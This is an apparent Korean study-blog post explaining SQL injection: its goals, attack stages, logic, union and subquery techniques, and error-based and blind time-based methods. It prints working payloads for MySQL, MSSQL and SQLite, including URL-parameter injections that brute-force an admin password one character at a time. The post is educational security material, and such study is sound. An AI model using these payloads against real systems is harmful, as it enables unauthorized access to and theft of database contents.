티스토리 뷰

반응형
SQL Injection?
사용자 입력 데이터가 SQL Query에 포함되어 의도되지 않은 Query문이 실행되는 취약점.
SQL Injection을 방지하기 위해서는 사용자 데이터가 SQL Query로써 동작하지 못하도록 해야한다.

 

SQL Injection 공격은 대표적으로 두 가지 목적을 가진다.

1. 정보 탈취 (기밀성 침해)

2. 정보 수정/삭제 (무결성 침해)

 

결국 기존에 권한이 없는 DB 정보에 접근하는 것이 공통점이다. 이러한 공격을 위해서 다음 과정을 거쳐 공격을 수행하게 된다.

 

1. SQL Injection 취약점 발견
 - HTTP Response Status Code를 통해 오류가 발생하는지 확인
 - DBMS의 오류 메시지를 통해 취약점 가능성 확인
 - 웹 어플리케이션에서 변조된 SQL구문이 실행된 데이터가 반환되는지 확인

2. 구문 예측 / DBMS 정보 획득
 - 사용자의 입력 데이터를 처리하는 구문을 예측한다. (Query문 예측)
 - DBMS의 정보를 획득하여 Exploit 작성을 위한 정보를 획득한다.

3. Exploit 작성
 - 사용할 공격 기법을 선정합니다.
 - WAF와 같이 SQL Injection를 방어하는 로직 등이 존재할 경우 우회 가능성을 판단한다.

4. 정보 탈취 및 수정/삭제
 - 시스템 테이블 등을 이용해 DB의 정보를 획득하고, 저장된 데이터를 탈취하거나 수정/삭제 하여 공격

 

 


SQL Injection 취약점이 발생했을 때 공격법

[ Logic ]

 and, or 와 같은 Logic을 이용한 공격이다.

 and 연산자는 첫 번째 피연산자가 True일 경우에만 두 번째 피연산자를 연산한다는 특징,

 그리고 or 연산자는 첫 번째 피연산자가 False일 경우에만 두 번째 피연산자를 연산한다는 특징

 활용해 SQL Injection 공격을 수행할 수 있다.

 

[ Union ]

 양쪽의 결과를 결합해주는 Union 명령어를 이용한 공격이다.

 왼쪽의 결과가 화면에 나온다면, 오른쪽에 공격자가 임의의 Query를 생성하고 이 결과가 결합되면서

 같이 화면에 나오는 점을 이용해 SQL Injection 공격을 수행할 수 있다.

 ( id 출력하는 곳에 union select upw from users 를 붙인다면 pw가 같이 출력되도록 할 수 있다.)

 

 그러나, 반드시 왼쪽 결과의 Column수와 Column Type이 오른쪽 결과와 동일해야한다.

 

[ Subquery ]

  Select절, From절, Where절에 사용되는 SubQuery를 사용해 SQL Injection 공격을 수행한다.

 

 


SQL Injection 취약점이 발생했을 때 상황별 접근법

[ Error Based ]

 임의로 에러를 발생시켜 정보를 획득하는 공격 기법이다. SQL Injection이 발생했을 때 결과가 나오지는 않지만 Query문에 Error가 발생했을 때 공격자에게 이 Error가 노출되는 상황에 사용이 가능하다.

( Syntax Error가 아니라 Runtime중에 발생하는 Error가 필요하다. )

 

이러한 SQL Injection Point가 발생했을 때 아래와 같이 Error문을 통해 원하는 결과를 출력할 수 있다.

select extractvalue(1, concat(0x3a, version()));

이런 Query문을 수행하게되면 Runtime Error가 발생하면서 version() 함수가 호출된 결과가 공격자에게 Error문에 포함되어 노출되게 된다.

 

이런 Error를 유발하는 Query문은 SQL 종류마다 다르며 각각 아래의 Query문이 존재한다.

 

 

[ Blind ]

DB 조회 후 결과를 공격자가 직접 확인할 수 없는 상황에서 사용되는 SQL Injection 공격기법이다.

 

1. 데이터를 비교해 참/거짓을 구분한다.

2. 참/거짓의 결과에 따른 특별한 응답을 생성한다.

 

여기서 1번을 Time Based로 확인할 수 있다. Time Based는 시간 지연 여부를 통해 참/거짓 여부를 판단하게 된다. 이 때 사용되는 것이 DB의 함수(sleep 등), 무거운 연산과정(Heavy Query)을 통해 시간 지연이 가능한 Query문을 포함 시킬 수 있다.

사용 예시는 아래의 코드이다.
select if(1=1, sleep(1), 0);
select if(1=0, sleep(1), 0);
이 차이를 통해서 공격자는 조건문의 참/거짓을 판별할 수 있게된다.

 

SQL별로 Time Based에서 사용하는 방법에 대한 설명이다.

더보기

MySQL

[ DB의 함수 ]

sleep(10);

benchmark(10, sha1(1));

 

[ Heavy Query ]

SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;

SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;

 

MSSQL

[ DB의 함수 ]

waitfor delay '0:0:1'

 

[ Heavy Query ]

select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)

 

SQLite

[ Heavy Query ]

LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))

 

 

Blind SQL Injection의 경우에는 모두 위 흐름을 따라가게 된다.

select if(1=1, True, False);  <!-- MySQL -->
select case when 1=1 then 'true' else 'false' end;   <!-- SQLite -->
if(select 'test')='test' select 1234;   <!-- MSSQL -->

위와같은 SQL에서 제공하는 조건문을 사용하게 된다. 그리고 1=1 자리에 like, substr, length 등을 활용해 원하는 Data의 정보를 획득할 수 있다. (Brute Force를 통해 획득한다.)

 

/?username=' union select 'admin' -- -
/?username=' union select if(substr(pw, 1, 1)='A', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='B', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='C', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='D', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='E', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='F', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='G', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='H', 'admin', 'not admin') from users where username='admin' #
...

예를들면 이와같은 방법을 사용해 admin의 password값을 찾을 수 있다. 이렇게 첫 번째 문자를 찾으면 그 다음은 substr(pw, 2, 1)을 사용해 두 번째 문자.. 이렇게 끝까지 찾아나가게 된다.

 

ch4njun.tistory.com/3?category=710183

 

[SQL Injection] Blind SQL Injection 여러가지 아이디어

 

ch4njun.tistory.com

 

반응형

'Web > Concept' 카테고리의 다른 글

[Concept] CSP (feat. dreamhack)  (0) 2020.09.17
[Concept] CSRF (feat. dreamhack)  (0) 2020.09.17
[Concept] XSS (feat. dreamhack)  (0) 2020.09.17
[Concept] Tunneling  (0) 2019.09.16
[Concept] Port Forwarding  (0) 2019.09.16
반응형
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함